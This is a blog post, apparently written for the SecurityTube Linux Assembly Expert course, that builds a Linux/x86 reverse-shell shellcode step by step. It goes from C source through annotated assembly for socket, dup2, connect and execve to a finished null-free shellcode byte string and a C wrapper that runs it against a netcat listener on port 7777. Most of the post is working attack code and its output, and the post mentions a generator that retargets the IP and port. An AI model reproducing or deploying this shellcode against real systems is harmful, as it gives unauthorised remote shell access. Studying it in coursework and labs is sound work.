SLAE 0x2: Linux/x86 Reverse Shellcode

Aditya Chaudhary
6 min readJan 27, 2019

--

Let’s go through some of the basics.

Shellcode is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.

A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.

TL;DR

Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:

  • Analyze C reverse shellcode
  • Create reverse shellcode for x86 Linux in assembly
  • Create shellcode generator python script
  • Use shellcode wrapper in C for final test

Let’s begin

We will use nasm, ld and gcc to compile and link our code. If you are not aware of what are then you should first go through the basics of these tools.

Here is a reverse shell in C:

Open terminal and run nc -nvlp 7777 and open another terminal and compile and run the above C code.

netcat listener with a success connection on executing the shellcode
compile and execute the shellcode to connect back to netcat listener

The shellcode seems to work just fine. Let’s try and analyse this shell using strace strace ./a.out and observe all the system calls.

...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
connect(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
execve("/bin/sh", [0], [/* 0 vars */]) = 0
...

Now, we’ll analyse the C code and convert it into assembly code.

Linux 32bit has system calls mentioned in file: /usr/include/i386-linux-gnu/asm/unistd_32.h

Or use this site https://syscalls.kernelgrok.com/ to view the system calls list online.

Initialise Accumulator Register (EAX)

xor eax, eax

Create Socket

Let’s have a look at socket creation code in C:

int conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

Use man socketcall to view the man page of socketcall

int socketcall(int call, unsigned long *args);

Figure out the system call number of socketcall using unistd_32.h or using the syscalls website. Also find the call number (1st argument of socketcall) by viewing the contents of /usr/include/linux/net.h

/usr/include/linux/net.h

So, to create a socket using assembly we need to set the registers as shown below:

eax <= 0x66 (systemcall sys_socketcall)
ebx <= 0x1 (using above image)
ecx <= reference to arguments ( AF_INET, SOCK_STREAM, IPPROTO_IP )
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0

And the assembly code for creating the socket. On success, a file descriptor for the new socket is returned, store that is esi

push eax        ; push 0
inc eax ; eax = 1
mov ebx, eax ; ebx = 1
push ebx ; push 1
push byte 0x2 ; push 2
mov ecx, esp ; ecx = reference to (2, 1, 0)mov al, 0x66 ; sys_socketcall
int 0x80
mov esi, eax ; save conn_sock in esi

Redirect I/O to Socket

I/O redirection code for input (0), output (1) and error (2) in C is mentioned below:

dup2(client_fd, 0);
dup2(client_fd, 1);
dup2(client_fd, 2);

The registers should have the following values for dup2(client_fd, 0):

eax <= 0x3f (systemcall dup2)
ebx <= client_fd
ecx <= 0 (for input redirection)

The code for input(0), output(1) and error(2) redirection to socket in assembly can be written as:

  mov ebx, esi    ; ebx = conn_sock
pop ecx ; ecx = 2 ;loop counter
dup2:
mov al, 0x3f ; systemcall dup2
int 0x80
dec ecx
jns dup2

Connect to the Server

C code for connect function:

struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET; // IPv4
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // IP address
serv_addr.sin_port = htons(PORT); // Port #
connect(conn_sock, (struct sockaddr *) &serv_addr, 16);

The registers will contain the following values for the system call:

eax <= 0x66
ebx <= 0x3 (SYS_CONNECT function)
ecx <= reference to (conn_sock, (struct sockaddr *) &serv_addr, 16)
srv_addr.sin_family = 2 ;Equivalent for AF_INET
srv_addr.sin_port = 0x611e ;"7777" in reversed order
srv_addr.sin_addr.s_addr = 0x7f010101 ;127.1.1.1 in reversed order

The plan now is to push the sockaddr into the stack. Then push sizeof(srv_addr), address of sockaddr pushed earlier, socket_fd (stored in esi earlier)

Stack (grows from top to bottom):
------------
|0x0101017f| ; IP Address [high memory]
|0x611e | ; Port Number
|0x2 | <= srv_addr ; AF_INET
|0x10 | <= sizeof(srv_addr) = 16
|&srv_addr |
|socket_fd | <= ecx

Code for connect function:

push 0x0101017f     ; byte reverse of 0x7f010101 (127.1.1.1)
push word 0x611e ; byte reverse of 0x1e61 (7777)
push word 0x2 ; AF_INET
mov ecx, esp ; ecx = reference(AF_INET, 7777, 127.1.1.1)
push 0x10 ; push 16 -> sizeof(serv_addr)
push ecx ; push reference to (AF_INET, 7777, 127.1.1.1)
push esi ; push conn_sock
mov ecx, espmov bl, 0x3 ; SYS_CONNECT function
mov al, 0x66 ; sys_socketcall
int 0x80

Executing /bin/sh

C code for executing /bin/sh is as follows:

execve( "/bin/sh", NULL, NULL );

To perform the same action in assembly, the registers need to be set as follows:

eax <= 0xb (11 = 0xb)
ebx <= "//bin/sh" reverse hex->(0x68732f6e69622f2f)
ecx <= NULL
edx <= NULL

We use 1 extra / before /bin/sh to make it 8 bytes in length

Assembly code for calling shell using execve will be:

xor ecx, ecx       ; ecx = NULL
mov edx, ecx ; edx = NULL
push ecx ; push NULL
push 0x68732f6e ; push n/sh in reverse
push 0x69622f2f ; push //bi in reverse
mov ebx, esp ; ebx now points to //bin/sh
mov al, 0xb ; systemcall execve
int 0x80

Complete Shellcode

Let’s try out the shellcode. First start a listener using nc -nvlp 7777

netcat listener

Compile, link and execute the shellcode.

Compile, link and execute shellcode

Go back to the first terminal where we started the netcat listener and observe that we now have a shell access.

shell access on the netcat listener

Extract the shellcode

Use https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump to get the command for objdump to extract the shellcode.

objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And our result shellcode string using the above command:

"\x31\xc0\x50\x40\x89\xc3\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x89\xf3\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x89\xc3\xcd\x80"

Just make sure the shellcode does not contain any NULL characters (0x00). If so, then just replace that instruction with any equivalent instruction(s). Below mentioned are two assembly equivalent instructions:

mov eax, 0x00
xor eax, eax

Shellcode Generator

Let’s write a small python script that will change the ip address and port in the above created shellcode.

shellcode_rev_gen.py

Let’s generate the shellcode using the python script.

generating shellcode using generator script

Shellcode Testing using C wrapper

Let’s test our shellcode by writing a simple C program that will pass the control to our shellcode. I have added a gist for C wrapper program, here is the link to it: https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x40\x89\xc3\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x89\xf3\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x89\xc3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;
ret();}

Let’s run this C program which should pass control to our shellcode. Don’t forget to start a netcat listener before executing the shellcode.

Compile and execute shellcode in C wrapper

Go to the netcat terminal and execute commands ;)

Netcat received connection from reverse shell

Everything works just fine!!

Congrats you can now write your own awesome reverse shellcode :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-8416

--

--